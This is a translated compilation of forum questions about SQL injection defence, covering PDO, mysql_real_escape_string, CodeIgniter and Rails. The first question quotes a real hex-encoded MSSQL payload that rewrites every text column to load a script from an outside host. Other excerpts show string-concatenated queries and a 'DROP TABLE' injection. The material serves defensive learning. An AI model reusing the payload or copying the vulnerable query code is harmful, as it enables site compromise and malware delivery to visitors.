可能重复:
尝试SQL注入攻击 - 他们试图做什么?
在过去的几个月里,我在我的网站上多次看到过SQL注入尝试.
';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);
Run Code Online (Sandbox Code Playgroud)
通过我的代码后,我确信我受到保护,因为我查询内存数据集而不是数据库本身.然而,尽管我确信我受到了保护,但我并不完全了解这次攻击尝试发生了什么,并且想要弄明白这一点,以便我可以避免在将来编写可能容易受到攻击的代码.
任何人都可以向我解释这些黑客试图用这个代码做什么?
谢谢.
- 此代码将附加到查询字符串以及作为发布数据发送.
我正在编写一个java类,它将由servlet过滤器调用,并检查基于Struts的java Web应用程序的注入攻击尝试和XSS.InjectionAttackChecker类使用regex和java.util.regex.Pattern类来根据regex中指定的模式验证输入.
话虽如此,我有以下问题:
我希望我已经清楚地提到了这个问题.但如果我没有,我道歉只是我的第二个问题.如果需要澄清,请告诉我.
在Ruby on Rails中,对于条件,很容易进行SQL注入证明查询:
:conditions => ["title = ?", title]
Run Code Online (Sandbox Code Playgroud)
标题来自外部,来自网络表单或类似的东西.
但是,如果您在查询的其他部分使用SQL片段,例如:
:select => "\"#{title}\" AS title" # I do have something like this in one instance
:joins => ["LEFT JOIN blah AS blah2 ON blah2.title = \"#{title}\""]
Run Code Online (Sandbox Code Playgroud)
有没有办法正确逃脱这些字符串?
这足以避免SQL注入吗?
mysql_real_escape_string(htmlentities (urlencode($_POST['postmessage'])));
Run Code Online (Sandbox Code Playgroud) 关于Codeigniter及其输入处理功能的一些疑问.有些可能有点奇怪,但他们怀疑是无中生有.
我必须在我的java程序中添加一个语句来更新数据库表:
String insert =
"INSERT INTO customer(name,address,email) VALUES('" + name + "','" + addre + "','" + email + "');";
Run Code Online (Sandbox Code Playgroud)
我听说这可以通过SQL注入来利用,如:
DROP TABLE customer;
Run Code Online (Sandbox Code Playgroud)
我的程序有一个Java GUI,并从中检索所有名称,地址和电子邮件值Jtextfields.我想知道DROP TABLE customer;黑客如何将以下代码()添加到我的插入语句中,以及如何防止这种情况.
如果我没记错的话,我认为Jeff在Stack Overflow播客中提到了SQL预处理语句中可能存在的弱点.我想知道他所指的是哪种弱点?它可能只是关于它的不当使用,还是更险恶的东西?
在我记忆中,播客没有更深入地探讨这个主题,它只是一句话.
我正在构建一个Codeigniter应用程序,我正在努力防止SQL注入.我正在使用Active Record方法构建我的所有查询.我知道Active Record会自动清理输入,但我想知道到底在多大程度上?它只是逃避所有引用,还是做得更多?如何防止混淆的SQL注入或其他更高级的类型?
基本上,我正在寻找CI如何清理数据的深入解释.谁知道?
我一直在发现这句话PHP PDO's prepared statements prevents SQL injection.
- php PDO(PDO准备好的语句)如何阻止sql注入?
- 使用PDO(PDO准备好的声明)的其他优缺点是什么?
- 使用PDO(PDO准备好的声明)会降低效率吗?
我已经读过:PDO准备好的语句是否足以阻止SQL注入? 但那里的数据并不完全清楚.
我没有看到任何有价值的信息或没有过时的信息.所以,有一个问题:mysql_real_escape_string()是否完全防止SQL注入?然而它是非常过时的(它来自'09),因此在12月的php 5.3和mysql 5.5中,它是否完全保护?